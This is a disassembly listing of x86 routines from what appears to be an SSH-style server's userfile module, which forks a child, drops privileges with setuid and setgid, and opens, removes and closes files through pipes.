0805e56d  c7 04 24 0e 00 00 00     movl    $0xe,(%esp,1)   ;14 'xe x0 x0 x0' ""
0805e574  e8 8b f7 ff ff           call    0805dd04 <Unknown0268>
0805e579  5a                       pop     %edx
0805e57a  59                       pop     %ecx
0805e57b  56                       push    %esi
0805e57c  68 78 c1 07 08           push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e581  e8 f2 c4 ff ff           call    0805aa78 <Unknown0222>
0805e586  83 c4 0c                 add     $0xc,%esp
0805e589  6a 58                    push    $0x58
0805e58b  53                       push    %ebx
0805e58c  68 78 c1 07 08           push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e591  e8 ee 73 ff ff           call    08055984 <Unknown0117>
0805e596  e8 b1 f7 ff ff           call    0805dd4c <Unknown0269>
0805e59b  e9 8e 00 00 00           jmp     0805e62e <Unknown0273+0x2f2>   ;142 'x8e x0 x0 x0' ""
0805e5a0  83 ec 08                 sub     $0x8,%esp
0805e5a3  6a 00                    push    $0x0
0805e5a5  68 78 c1 07 08           push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e5aa  e8 11 c5 ff ff           call    0805aac0 <Unknown0223>
0805e5af  89 c7                    mov     %eax,%edi
0805e5b1  89 3c 24                 mov     %edi,(%esp,1)
0805e5b4  e8 c3 b9 fe ff           call    08049f7c <remove>
0805e5b9  89 c6                    mov     %eax,%esi
0805e5bb  c7 04 24 10 00 00 00     movl    $0x10,(%esp,1)   ;16 'x10 x0 x0 x0' ""
0805e5c2  e8 3d f7 ff ff           call    0805dd04 <Unknown0268>
0805e5c7  5b                       pop     %ebx
0805e5c8  58                       pop     %eax
0805e5c9  56                       push    %esi
0805e5ca  68 78 c1 07 08           push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e5cf  e8 a4 c4 ff ff           call    0805aa78 <Unknown0222>
0805e5d4  e8 73 f7 ff ff           call    0805dd4c <Unknown0269>
0805e5d9  eb 53                    jmp     0805e62e <Unknown0273+0x2f2>
0805e5db  90                       nop
0805e5dc  83 ec 08                 sub     $0x8,%esp
0805e5df  6a 00                    push    $0x0
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```
0805e5e1   68 78 c1 07 08            push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e5e6   e8 d5 c4 ff ff            call    0805aac0 <Unknown0223>
0805e5eb   5a                        pop     %edx
0805e5ec   59                        pop     %ecx
0805e5ed   6a 00                     push    $0x0
0805e5ef   89 c3                     mov     %eax,%ebx
0805e5f1   68 78 c1 07 08            push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e5f6   e8 c5 c4 ff ff            call    0805aac0 <Unknown0223>
0805e5fb   5e                        pop     %esi
0805e5fc   89 c7                     mov     %eax,%edi
0805e5fe   58                        pop     %eax
0805e5ff   57                        push    %edi
0805e600   53                        push    %ebx
0805e601   e8 06 fa ff ff            call    0805e00c <Unknown0272>
0805e606   89 c6                     mov     %eax,%esi
0805e608   c7 04 24 12 00 00 00      movl    $0x12,(%esp,1)   ;18 'x12 x0 x0 x0' ""
0805e60f   e8 f0 f6 ff ff            call    0805dd04 <Unknown0268>
0805e614   5a                        pop     %edx
0805e615   59                        pop     %ecx
0805e616   56                        push    %esi
0805e617   68 78 c1 07 08            push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e61c   e8 57 c4 ff ff            call    0805aa78 <Unknown0222>
0805e621   e8 26 f7 ff ff            call    0805dd4c <Unknown0269>
0805e626   89 1c 24                  mov     %ebx,(%esp,1)
0805e629   e8 e2 88 ff ff            call    08056f10 <Unknown0172>
0805e62e   89 3c 24                  mov     %edi,(%esp,1)
0805e631   e8 da 88 ff ff            call    08056f10 <Unknown0172>
0805e636   83 c4 10                  add     $0x10,%esp
0805e639   e9 16 fd ff ff            jmp     0805e354 <Unknown0273+0x18>   ;-746 'x16 xfd xff xff' ""
0805e63e   89 f6                     mov     %esi,%esi
0805e640   83 ec 0c                  sub     $0xc,%esp
0805e643   68 78 c1 07 08            push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e648   e8 f3 c3 ff ff            call    0805aa40 <Unknown0221>
0805e64d   89 c6                     mov     %eax,%esi
0805e64f   89 34 24                  mov     %esi,(%esp,1)
0805e652   e8 85 b6 fe ff            call    08049cdc <close>
0805e657   89 c6                     mov     %eax,%esi
0805e659   c7 04 24 00 00 00 00      movl    $0x0,(%esp,1)    ;0 'x0 x0 x0 x0' ""
0805e660   e8 77 be fe ff            call    0804a4dc <wait>
0805e665   83 c4 10                  add     $0x10,%esp
0805e668   85 f6                     test    %esi,%esi
0805e66a   78 02                     js      0805e66e <Unknown0273+0x332>
0805e66c   89 c6                     mov     %eax,%esi
0805e66e   83 ec 0c                  sub     $0xc,%esp
0805e671   6a 14                     push    $0x14
0805e673   e8 8c f6 ff ff            call    0805dd04 <Unknown0268>
0805e678   5f                        pop     %edi
0805e679   58                        pop     %eax
0805e67a   56                        push    %esi
0805e67b   68 78 c1 07 08            push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e680   e8 f3 c3 ff ff            call    0805aa78 <Unknown0222>
0805e685   e8 c2 f6 ff ff            call    0805dd4c <Unknown0269>
0805e68a   83 c4 10                  add     $0x10,%esp
0805e68d   e9 c2 fc ff ff            jmp     0805e354 <Unknown0273+0x18>   ;-830 'xc2 xfc xff xff' ""
0805e692   89 f6                     mov     %esi,%esi
0805e694   83 ec 0c                  sub     $0xc,%esp
0805e697   6a 16                     push    $0x16
0805e699   e8 66 f6 ff ff            call    0805dd04 <Unknown0268>
0805e69e   83 c4 0c                  add     $0xc,%esp
0805e6a1   6a 00                     push    $0x0
0805e6a3   68 ab 51 07 08            push    $0x80751ab   ;[in .rodata] 0 'x0 x0 x0 x0' ""
0805e6a8   68 78 c1 07 08            push    $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805e6ad   e8 76 c4 ff ff            call    0805ab28 <Unknown0224>
0805e6b2   83 c4 10                  add     $0x10,%esp
0805e6b5   e8 92 f6 ff ff            call    0805dd4c <Unknown0269>
0805e6ba   e9 95 fc ff ff            jmp     0805e354 <Unknown0273+0x18>   ;-875 'x95 xfc xff xff' ""
0805e6bf   90                        nop
0805e6c0   83 ec 08                  sub     $0x8,%esp
0805e6c3   50                        push    %eax
0805e6c4   68 c0 51 07 08            push    $0x80751c0   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                           "userfile_child_server: packet type %d"
0805e6c9   e8 8e 18 ff ff            call    0804ff5c <Unknown0044>
0805e6ce   83 c4 10                  add     $0x10,%esp
0805e6d1   e9 7e fc ff ff            jmp     0805e354 <Unknown0273+0x18>   ;-898 'x7e xfc xff xff' "~"
0805e6d6   89 f6                     mov     %esi,%esi


   ;
   ; >----------------------<  Subroutine # 274 >----------------------<
   ;
0805e6d8 <Unknown0274>:
0805e6d8   55                        push    %ebp
0805e6d9   89 e5                     mov     %esp,%ebp
0805e6db   57                        push    %edi
```

```
0805e6dc  56                              push    %esi
0805e6dd  53                              push    %ebx
0805e6de  8b 0d b0 82 07 08               mov     0x80782b0,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805e6e4  83 ec 0c                        sub     $0xc,%esp
0805e6e7  85 c9                           test    %ecx,%ecx
0805e6e9  8b 75 0c                        mov     0xc(%ebp),%esi
0805e6ec  8b 7d 14                        mov     0x14(%ebp),%edi
0805e6ef  74 10                           je      0805e701 <Unknown0274+0x29>
0805e6f1  83 ec 0c                        sub     $0xc,%esp
0805e6f4  68 44 52 07 08                  push    $0x8075244   ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                                               "userfile_init already called"
0805e6f9  e8 5e 18 ff ff                  call    0804ff5c <Unknown0044>
0805e6fe  83 c4 10                        add     $0x10,%esp
0805e701  83 ec 0c                        sub     $0xc,%esp
0805e704  8d 5d e8                        lea     0xfffffff8(%ebp),%ebx
0805e707  53                              push    %ebx
0805e708  89 35 b4 82 07 08               mov     %esi,0x80782b4  ;[in .data] -1 'xff xff xff xff' ""
0805e70e  c7 05 b0 82 07 08 01 00 00 00   movl    $0x1,0x80782b0  ;1 'x1 x0 x0 x0' ""
0805e718  e8 3f b8 fe ff                  call    08049f5c <pipe>
0805e71d  83 c4 10                        add     $0x10,%esp
0805e720  85 c0                           test    %eax,%eax
0805e722  79 20                           jns     0805e744 <Unknown0274+0x6c>
0805e724  83 ec 10                        sub     $0x10,%esp
0805e727  e8 10 b7 fe ff                  call    08049e3c <__errno_location>
0805e72c  5a                              pop     %edx
0805e72d  ff 30                           pushl   (%eax)
0805e72f  e8 b8 b6 fe ff                  call    08049dec <strerror>
0805e734  5a                              pop     %edx
0805e735  59                              pop     %ecx
0805e736  50                              push    %eax
0805e737  68 02 51 07 08                  push    $0x8075102   ;[in .rodata] 1701865840 'x70 x69 x70 x65' "pipe:
                                                               %.100s"
0805e73c  e8 1b 18 ff ff                  call    0804ff5c <Unknown0044>
0805e741  83 c4 10                        add     $0x10,%esp
0805e744  8b 45 ec                        mov     0xffffffec(%ebp),%eax
0805e747  83 ec 0c                        sub     $0xc,%esp
0805e74a  a3 60 c1 07 08                  mov     %eax,0x807c160   ;[in .bss] -1962386037 'x8b x5d x8 x8b' ""
0805e74f  8b 45 e8                        mov     0xfffffff8(%ebp),%eax
0805e752  53                              push    %ebx
0805e753  a3 6c c1 07 08                  mov     %eax,0x807c16c   ;[in .bss] -1878426160 'xd0 x7d x9 x90' ""
0805e758  e8 ff b7 fe ff                  call    08049f5c <pipe>
0805e75d  83 c4 10                        add     $0x10,%esp
0805e760  85 c0                           test    %eax,%eax
0805e762  79 20                           jns     0805e784 <Unknown0274+0xac>
0805e764  83 ec 10                        sub     $0x10,%esp
0805e767  e8 d0 b6 fe ff                  call    08049e3c <__errno_location>
0805e76c  59                              pop     %ecx
0805e76d  ff 30                           pushl   (%eax)
0805e76f  e8 78 b6 fe ff                  call    08049dec <strerror>
0805e774  5b                              pop     %ebx
0805e775  5a                              pop     %edx
0805e776  50                              push    %eax
0805e777  68 02 51 07 08                  push    $0x8075102   ;[in .rodata] 1701865840 'x70 x69 x70 x65' "pipe:
                                                               %.100s"
0805e77c  e8 db 17 ff ff                  call    0804ff5c <Unknown0044>
0805e781  83 c4 10                        add     $0x10,%esp
0805e784  8b 45 e8                        mov     0xfffffff8(%ebp),%eax
0805e787  a3 64 c1 07 08                  mov     %eax,0x807c164   ;[in .bss] 1300893781 'x55 x10 x8a x4d' "U"
0805e78c  8b 45 ec                        mov     0xffffffec(%ebp),%eax
0805e78f  a3 68 c1 07 08                  mov     %eax,0x807c168   ;[in .bss] 968896780 'xc x31 xc0 x39' ""
0805e794  e8 73 b5 fe ff                  call    08049d0c <fork>
0805e799  89 c3                           mov     %eax,%ebx
0805e79b  85 db                           test    %ebx,%ebx
0805e79d  79 20                           jns     0805e7bf <Unknown0274+0xe7>
0805e79f  83 ec 10                        sub     $0x10,%esp
0805e7a2  e8 95 b6 fe ff                  call    08049e3c <__errno_location>
0805e7a7  59                              pop     %ecx
0805e7a8  ff 30                           pushl   (%eax)
0805e7aa  e8 3d b6 fe ff                  call    08049dec <strerror>
0805e7af  59                              pop     %ecx
0805e7b0  5a                              pop     %edx
0805e7b1  50                              push    %eax
0805e7b2  68 0f 51 07 08                  push    $0x807510f   ;[in .rodata] 1802661734 'x66 x6f x72 x6b' "fork:
                                                               %.100s"
0805e7b7  e8 a0 17 ff ff                  call    0804ff5c <Unknown0044>
0805e7bc  83 c4 10                        add     $0x10,%esp
0805e7bf  85 db                           test    %ebx,%ebx
0805e7c1  74 35                           je      0805e7f8 <Unknown0274+0x120>
0805e7c3  a1 64 c1 07 08                  mov     0x807c164,%eax   ;[in .bss] 1300893781 'x55 x10 x8a x4d' "U"
0805e7c8  83 ec 0c                        sub     $0xc,%esp
0805e7cb  a3 74 c1 07 08                  mov     %eax,0x807c174   ;[in .bss] -126037959 'x39 xd0 x7c xf8' "9"
0805e7d0  a1 60 c1 07 08                  mov     0x807c160,%eax   ;[in .bss] -1962386037 'x8b x5d x8 x8b' ""
0805e7d5  ff 35 68 c1 07 08               pushl   0x807c168   ;[in .bss] 968896780 'xc x31 xc0 x39' ""
0805e7db  a3 70 c1 07 08                  mov     %eax,0x807c170   ;[in .bss] 1075317896 'x88 xc x18 x40' ""
```

```
0805e7e0  e8 f7 b4 fe ff        call   08049cdc <close>
0805e7e5  5a                    pop    %edx
0805e7e6  ff 35 6c c1 07 08     pushl  0x807c16c  ;[in .bss] -1878426160 'xd0 x7d x9 x90' ""
0805e7ec  e8 eb b4 fe ff        call   08049cdc <close>
0805e7f1  e9 f9 00 00 00        jmp    0805e8ef <Unknown0274+0x217>  ;249 'xf9 x0 x0 x0' ""
0805e7f6  89 f6                 mov    %esi,%esi
0805e7f8  a1 6c c1 07 08        mov    0x807c16c,%eax  ;[in .bss] -1878426160 'xd0 x7d x9 x90' ""
0805e7fd  83 ec 0c              sub    $0xc,%esp
0805e800  a3 74 c1 07 08        mov    %eax,0x807c174   ;[in .bss] -126037959 'x39 xd0 x7c xf8' "9"
0805e805  a1 68 c1 07 08        mov    0x807c168,%eax  ;[in .bss] 968896780 'xc x31 xc0 x39' ""
0805e80a  ff 35 60 c1 07 08     pushl  0x807c160  ;[in .bss] -1962386037 'x8b x5d x8 x8b' ""
0805e810  a3 70 c1 07 08        mov    %eax,0x807c170   ;[in .bss] 1075317896 'x88 xc x18 x40' ""
0805e815  e8 c2 b4 fe ff        call   08049cdc <close>
0805e81a  58                    pop    %eax
0805e81b  ff 35 64 c1 07 08     pushl  0x807c164  ;[in .bss] 1300893781 'x55 x10 x8a x4d' "U"
0805e821  e8 b6 b4 fe ff        call   08049cdc <close>
0805e826  83 c4 10              add    $0x10,%esp
0805e829  85 ff                 test   %edi,%edi
0805e82b  74 0b                 je     0805e838 <Unknown0274+0x160>
0805e82d  83 ec 0c              sub    $0xc,%esp
0805e830  ff 75 18              pushl  0x18(%ebp)
0805e833  ff d7                 call   *%edi
0805e835  83 c4 10              add    $0x10,%esp
0805e838  e8 27 0b 00 00        call   0805f364 <Unknown0295>
0805e83d  e8 8a bc fe ff        call   0804a4cc <geteuid>
0805e842  39 c6                 cmp    %eax,%esi
0805e844  75 0d                 jne    0805e853 <Unknown0274+0x17b>
0805e846  e8 c1 b9 fe ff        call   0804a20c <getuid>
0805e84b  39 c6                 cmp    %eax,%esi
0805e84d  0f 84 97 00 00 00     je     0805e8ea <Unknown0274+0x212>  ;151 'x97 x0 x0 x0' ""
0805e853  83 ec 0c              sub    $0xc,%esp
0805e856  ff 75 10              pushl  0x10(%ebp)
0805e859  e8 fe b5 fe ff        call   08049e5c <setgid>
0805e85e  83 c4 10              add    $0x10,%esp
0805e861  85 c0                 test   %eax,%eax
0805e863  79 20                 jns    0805e885 <Unknown0274+0x1ad>
0805e865  83 ec 10              sub    $0x10,%esp
0805e868  e8 cf b5 fe ff        call   08049e3c <__errno_location>
0805e86d  5b                    pop    %ebx
0805e86e  ff 30                 pushl  (%eax)
0805e870  e8 77 b5 fe ff        call   08049dec <strerror>
0805e875  5a                    pop    %edx
0805e876  59                    pop    %ecx
0805e877  50                    push   %eax
0805e878  68 61 52 07 08        push   $0x8075261   ;[in .rodata] 1735681395 'x73 x65 x74 x67' "setgid:
                                                      %.100s"
0805e87d  e8 da 16 ff ff        call   0804ff5c <Unknown0044>
0805e882  83 c4 10              add    $0x10,%esp
0805e885  83 ec 08              sub    $0x8,%esp
0805e888  ff 75 10              pushl  0x10(%ebp)
0805e88b  ff 75 08              pushl  0x8(%ebp)
0805e88e  e8 99 b5 fe ff        call   08049e2c <initgroups>
0805e893  83 c4 10              add    $0x10,%esp
0805e896  85 c0                 test   %eax,%eax
0805e898  79 20                 jns    0805e8ba <Unknown0274+0x1e2>
0805e89a  83 ec 10              sub    $0x10,%esp
0805e89d  e8 9a b5 fe ff        call   08049e3c <__errno_location>
0805e8a2  5f                    pop    %edi
0805e8a3  ff 30                 pushl  (%eax)
0805e8a5  e8 42 b5 fe ff        call   08049dec <strerror>
0805e8aa  59                    pop    %ecx
0805e8ab  5b                    pop    %ebx
0805e8ac  50                    push   %eax
0805e8ad  68 70 52 07 08        push   $0x8075270   ;[in .rodata] 1953066601 'x69 x6e x69 x74' "initgroups:
                                                      %.100s"
0805e8b2  e8 a5 16 ff ff        call   0804ff5c <Unknown0044>
0805e8b7  83 c4 10              add    $0x10,%esp
0805e8ba  83 ec 0c              sub    $0xc,%esp
0805e8bd  56                    push   %esi
0805e8be  e8 b9 bb fe ff        call   0804a47c <setuid>
0805e8c3  83 c4 10              add    $0x10,%esp
0805e8c6  85 c0                 test   %eax,%eax
0805e8c8  79 20                 jns    0805e8ea <Unknown0274+0x212>
0805e8ca  83 ec 10              sub    $0x10,%esp
0805e8cd  e8 6a b5 fe ff        call   08049e3c <__errno_location>
0805e8d2  5a                    pop    %edx
0805e8d3  ff 30                 pushl  (%eax)
0805e8d5  e8 12 b5 fe ff        call   08049dec <strerror>
0805e8da  5e                    pop    %esi
0805e8db  5f                    pop    %edi
0805e8dc  50                    push   %eax
0805e8dd  68 83 52 07 08        push   $0x8075283   ;[in .rodata] 1970562419 'x73 x65 x74 x75' "setuid:
                                                      %.100s"
0805e8e2  e8 75 16 ff ff        call   0804ff5c <Unknown0044>
```

```
0805e8e7  83 c4 10                 add      $0x10,%esp
0805e8ea  e8 4d fa ff ff           call     0805e33c <Unknown0273>
0805e8ef  8d 65 f4                 lea      0xfffffff4(%ebp),%esp
0805e8f2  5b                       pop      %ebx
0805e8f3  5e                       pop      %esi
0805e8f4  5f                       pop      %edi
0805e8f5  5d                       pop      %ebp
0805e8f6  c3                       ret
0805e8f7  90                       nop


  ;
  ; >--------------------< Subroutine # 275 >--------------------<
  ;
0805e8f8  <Unknown0275>:
0805e8f8  55                       push     %ebp
0805e8f9  89 e5                    mov      %esp,%ebp
0805e8fb  8b 15 b0 82 07 08        mov      0x80782b0,%edx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805e901  83 ec 08                 sub      $0x8,%esp
0805e904  85 d2                    test     %edx,%edx
0805e906  74 24                    je       0805e92c <Unknown0275+0x34>
0805e908  83 ec 0c                 sub      $0xc,%esp
0805e90b  ff 35 64 c1 07 08        pushl    0x807c164   ;[in .bss] 1300893781 'x55 x10 x8a x4d' "U"
0805e911  c7 05 b0 82 07 08 00 00 00 00  movl  $0x0,0x80782b0 ;0 'x0 x0 x0 x0' ""
0805e91b  e8 bc b3 fe ff           call     08049cdc <close>
0805e920  58                       pop      %eax
0805e921  ff 35 60 c1 07 08        pushl    0x807c160   ;[in .bss] -1962386037 'x8b x5d x8 x8b' ""
0805e927  e8 b0 b3 fe ff           call     08049cdc <close>
0805e92c  c9                       leave
0805e92d  c3                       ret
0805e92e  89 f6                    mov      %esi,%esi


  ;
  ; >--------------------< Subroutine # 276 >--------------------<
  ;
0805e930  <Unknown0276>:
0805e930  55                       push     %ebp
0805e931  89 e5                    mov      %esp,%ebp
0805e933  8b 0d b0 82 07 08        mov      0x80782b0,%ecx   ;[in .data] 0 'x0 x0 x0 x0' ""
0805e939  83 ec 08                 sub      $0x8,%esp
0805e93c  85 c9                    test     %ecx,%ecx
0805e93e  74 11                    je       0805e951 <Unknown0276+0x21>
0805e940  e8 b3 ff ff ff           call     0805e8f8 <Unknown0275>
0805e945  83 ec 0c                 sub      $0xc,%esp
0805e948  8d 45 fc                 lea      0xfffffffc(%ebp),%eax
0805e94b  50                       push     %eax
0805e94c  e8 8b bb fe ff           call     0804a4dc <wait>
0805e951  c9                       leave
0805e952  c3                       ret
0805e953  90                       nop


  ;
  ; >--------------------< Subroutine # 277 >--------------------<
  ;
0805e954  <Unknown0277>:
0805e954  55                       push     %ebp
0805e955  89 e5                    mov      %esp,%ebp
0805e957  56                       push     %esi
0805e958  53                       push     %ebx
0805e959  83 ec 0c                 sub      $0xc,%esp
0805e95c  8b 5d 08                 mov      0x8(%ebp),%ebx
0805e95f  8b 75 0c                 mov      0xc(%ebp),%esi
0805e962  68 10 02 00 00           push     $0x210   ;528 'x10 x2 x0 x0' ""
0805e967  e8 24 85 ff ff           call     08056e90 <Unknown0170>
0805e96c  89 18                    mov      %ebx,(%eax)
0805e96e  89 70 04                 mov      %esi,0x4(%eax)
0805e971  c7 80 08 02 00 00 00 00 00 00  movl  $0x0,0x208(%eax)  ;0 'x0 x0 x0 x0' ""
0805e97b  c7 80 0c 02 00 00 00 00 00 00  movl  $0x0,0x20c(%eax)  ;0 'x0 x0 x0 x0' ""
0805e985  8d 65 f8                 lea      0xfffffff8(%ebp),%esp
0805e988  5b                       pop      %ebx
0805e989  5e                       pop      %esi
0805e98a  5d                       pop      %ebp
0805e98b  c3                       ret


  ;
  ; >--------------------< Subroutine # 278 >--------------------<
  ;
0805e98c  <Unknown0278>:
0805e98c  55                       push     %ebp
0805e98d  89 e5                    mov      %esp,%ebp
0805e98f  83 ec 10                 sub      $0x10,%esp
```

```
0805e992  ff 75 08           pushl  0x8(%ebp)
0805e995  6a 00              push   $0x0
0805e997  e8 b8 ff ff ff     call   0805e954 <Unknown0277>
0805e99c  c9                 leave
0805e99d  c3                 ret
0805e99e  89 f6              mov    %esi,%esi


  ;
  ; >--------------------<  Subroutine # 279 >--------------------<
  ;
0805e9a0 <Unknown0279>:
0805e9a0  55                 push   %ebp
0805e9a1  89 e5              mov    %esp,%ebp
0805e9a3  57                 push   %edi
0805e9a4  56                 push   %esi
0805e9a5  53                 push   %ebx
0805e9a6  83 ec 0c           sub    $0xc,%esp
0805e9a9  8b 45 14           mov    0x14(%ebp),%eax
0805e9ac  89 45 f0           mov    %eax,0xfffffff0(%ebp)
0805e9af  8b 7d 08           mov    0x8(%ebp),%edi
0805e9b2  8b 5d 0c           mov    0xc(%ebp),%ebx
0805e9b5  8b 75 10           mov    0x10(%ebp),%esi
0805e9b8  e8 0f bb fe ff     call   0804a4cc <geteuid>
0805e9bd  39 c7              cmp    %eax,%edi
0805e9bf  75 2f              jne    0805e9f0 <Unknown0279+0x50>
0805e9c1  52                 push   %edx
0805e9c2  ff 75 f0           pushl  0xfffffff0(%ebp)
0805e9c5  56                 push   %esi
0805e9c6  53                 push   %ebx
0805e9c7  e8 30 b9 fe ff     call   0804a2fc <open>
0805e9cc  83 c4 10           add    $0x10,%esp
0805e9cf  85 c0              test   %eax,%eax
0805e9d1  0f 88 b2 00 00 00  js     0805ea89 <Unknown0279+0xe9>  ;178 'xb2 x0 x0 x0' ""
0805e9d7  89 45 0c           mov    %eax,0xc(%ebp)
0805e9da  c7 45 08 00 00 00 00  movl   $0x0,0x8(%ebp)       ;0 'x0 x0 x0 x0' ""
0805e9e1  8d 65 f4           lea    0xfffffff4(%ebp),%esp
0805e9e4  5b                 pop    %ebx
0805e9e5  5e                 pop    %esi
0805e9e6  5f                 pop    %edi
0805e9e7  5d                 pop    %ebp
0805e9e8  e9 67 ff ff ff     jmp    0805e954 <Unknown0277>  ;-153 'x67 xff xff xff' "g"
0805e9ed  8d 76 00           lea    0x0(%esi),%esi
0805e9f0  a1 b0 82 07 08     mov    0x80782b0,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
0805e9f5  85 c0              test   %eax,%eax
0805e9f7  75 10              jne    0805ea09 <Unknown0279+0x69>
0805e9f9  51                 push   %ecx
0805e9fa  53                 push   %ebx
0805e9fb  57                 push   %edi
0805e9fc  68 a0 52 07 08     push   $0x80752a0  ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                        "userfile_open: using non-current uid but not
                                        initialized (uid=%d, path=%.50s)"
0805ea01  e8 56 15 ff ff     call   0804ff5c <Unknown0044>
0805ea06  83 c4 10           add    $0x10,%esp
0805ea09  3b 3d b4 82 07 08  cmp    0x80782b4,%edi  ;[in .data] -1 'xff xff xff xff' ""
0805ea0f  74 10              je     0805ea21 <Unknown0279+0x81>
0805ea11  52                 push   %edx
0805ea12  53                 push   %ebx
0805ea13  57                 push   %edi
0805ea14  68 00 53 07 08     push   $0x8075300  ;[in .rodata] 1919251317 'x75 x73 x65 x72'
                                        "userfile_open: uid not current and not that of child:
                                        uid=%d, path=%.50s"
0805ea19  e8 3e 15 ff ff     call   0804ff5c <Unknown0044>
0805ea1e  83 c4 10           add    $0x10,%esp
0805ea21  83 ec 0c           sub    $0xc,%esp
0805ea24  6a 01              push   $0x1
0805ea26  e8 d9 f2 ff ff     call   0805dd04 <Unknown0268>
0805ea2b  89 df              mov    %ebx,%edi
0805ea2d  fc                 cld
0805ea2e  31 c0              xor    %eax,%eax
0805ea30  b9 ff ff ff ff     mov    $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
0805ea35  f2 ae              repnz scas %es:(%edi),%al
0805ea37  f7 d1              not    %ecx
0805ea39  49                 dec    %ecx
0805ea3a  83 c4 0c           add    $0xc,%esp
0805ea3d  51                 push   %ecx
0805ea3e  53                 push   %ebx
0805ea3f  68 78 c1 07 08     push   $0x807c178  ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ea44  e8 df c0 ff ff     call   0805ab28 <Unknown0224>
0805ea49  5f                 pop    %edi
0805ea4a  58                 pop    %eax
0805ea4b  56                 push   %esi
0805ea4c  68 78 c1 07 08     push   $0x807c178  ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ea51  e8 22 c0 ff ff     call   0805aa78 <Unknown0222>
```

```
0805ea56  5b                       pop    %ebx
0805ea57  5e                       pop    %esi
0805ea58  ff 75 f0                 pushl  0xfffffff0(%ebp)
0805ea5b  68 78 c1 07 08           push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ea60  e8 13 c0 ff ff           call   0805aa78 <Unknown0222>
0805ea65  e8 e2 f2 ff ff           call   0805dd4c <Unknown0269>
0805ea6a  c7 04 24 02 00 00 00     movl   $0x2,(%esp,1)   ;2 'x2 x0 x0 x0' ""
0805ea71  e8 6e f5 ff ff           call   0805dfe4 <Unknown0271>
0805ea76  c7 04 24 78 c1 07 08     movl   $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805ea7d  e8 be bf ff ff           call   0805aa40 <Unknown0221>
0805ea82  83 c4 10                 add    $0x10,%esp
0805ea85  85 c0                    test   %eax,%eax
0805ea87  79 07                    jns    0805ea90 <Unknown0279+0xf0>
0805ea89  31 c0                    xor    %eax,%eax
0805ea8b  eb 1b                    jmp    0805eaa8 <Unknown0279+0x108>
0805ea8d  8d 76 00                 lea    0x0(%esi),%esi
0805ea90  89 45 0c                 mov    %eax,0xc(%ebp)
0805ea93  c7 45 08 01 00 00 00     movl   $0x1,0x8(%ebp)   ;1 'x1 x0 x0 x0' ""
0805ea9a  8d 65 f4                 lea    0xfffffff4(%ebp),%esp
0805ea9d  5b                       pop    %ebx
0805ea9e  5e                       pop    %esi
0805ea9f  5f                       pop    %edi
0805eaa0  5d                       pop    %ebp
0805eaa1  e9 ae fe ff ff           jmp    0805e954 <Unknown0277>   ;-338 'xae xfe xff xff' ""
0805eaa6  89 f6                    mov    %esi,%esi
0805eaa8  8d 65 f4                 lea    0xfffffff4(%ebp),%esp
0805eaab  5b                       pop    %ebx
0805eaac  5e                       pop    %esi
0805eaad  5f                       pop    %edi
0805eaae  5d                       pop    %ebp
0805eaaf  c3                       ret


  ;
  ; >--------------------<  Subroutine # 280 >--------------------<
  ;
0805eab0 <Unknown0280>:
0805eab0  55                       push   %ebp
0805eab1  89 e5                    mov    %esp,%ebp
0805eab3  56                       push   %esi
0805eab4  53                       push   %ebx
0805eab5  8b 75 08                 mov    0x8(%ebp),%esi
0805eab8  8b 06                    mov    (%esi),%eax
0805eaba  85 c0                    test   %eax,%eax
0805eabc  74 06                    je     0805eac4 <Unknown0280+0x14>
0805eabe  48                       dec    %eax
0805eabf  74 13                    je     0805ead4 <Unknown0280+0x24>
0805eac1  eb 55                    jmp    0805eb18 <Unknown0280+0x68>
0805eac3  90                       nop
0805eac4  83 ec 0c                 sub    $0xc,%esp
0805eac7  ff 76 04                 pushl  0x4(%esi)
0805eaca  e8 0d b2 fe ff           call   08049cdc <close>
0805eacf  eb 39                    jmp    0805eb0a <Unknown0280+0x5a>
0805ead1  8d 76 00                 lea    0x0(%esi),%esi
0805ead4  83 ec 0c                 sub    $0xc,%esp
0805ead7  6a 07                    push   $0x7
0805ead9  e8 26 f2 ff ff           call   0805dd04 <Unknown0268>
0805eade  59                       pop    %ecx
0805eadf  5b                       pop    %ebx
0805eae0  ff 76 04                 pushl  0x4(%esi)
0805eae3  68 78 c1 07 08           push   $0x807c178   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805eae8  e8 8b bf ff ff           call   0805aa78 <Unknown0222>
0805eaed  e8 5a f2 ff ff           call   0805dd4c <Unknown0269>
0805eaf2  c7 04 24 08 00 00 00     movl   $0x8,(%esp,1)   ;8 'x8 x0 x0 x0' ""
0805eaf9  e8 e6 f4 ff ff           call   0805dfe4 <Unknown0271>
0805eafe  c7 04 24 78 c1 07 08     movl   $0x807c178,(%esp,1)   ;[in .bss] -906207861 'x8b x5d xfc xc9' ""
0805eb05  e8 36 bf ff ff           call   0805aa40 <Unknown0221>
0805eb0a  89 c3                    mov    %eax,%ebx
0805eb0c  89 34 24                 mov    %esi,(%esp,1)
0805eb0f  e8 fc 83 ff ff           call   08056f10 <Unknown0172>
0805eb14  89 d8                    mov    %ebx,%eax
0805eb16  eb 14                    jmp    0805eb2c <Unknown0280+0x7c>
0805eb18  83 ec 08                 sub    $0x8,%esp
0805eb1b  ff 36                    pushl  (%esi)
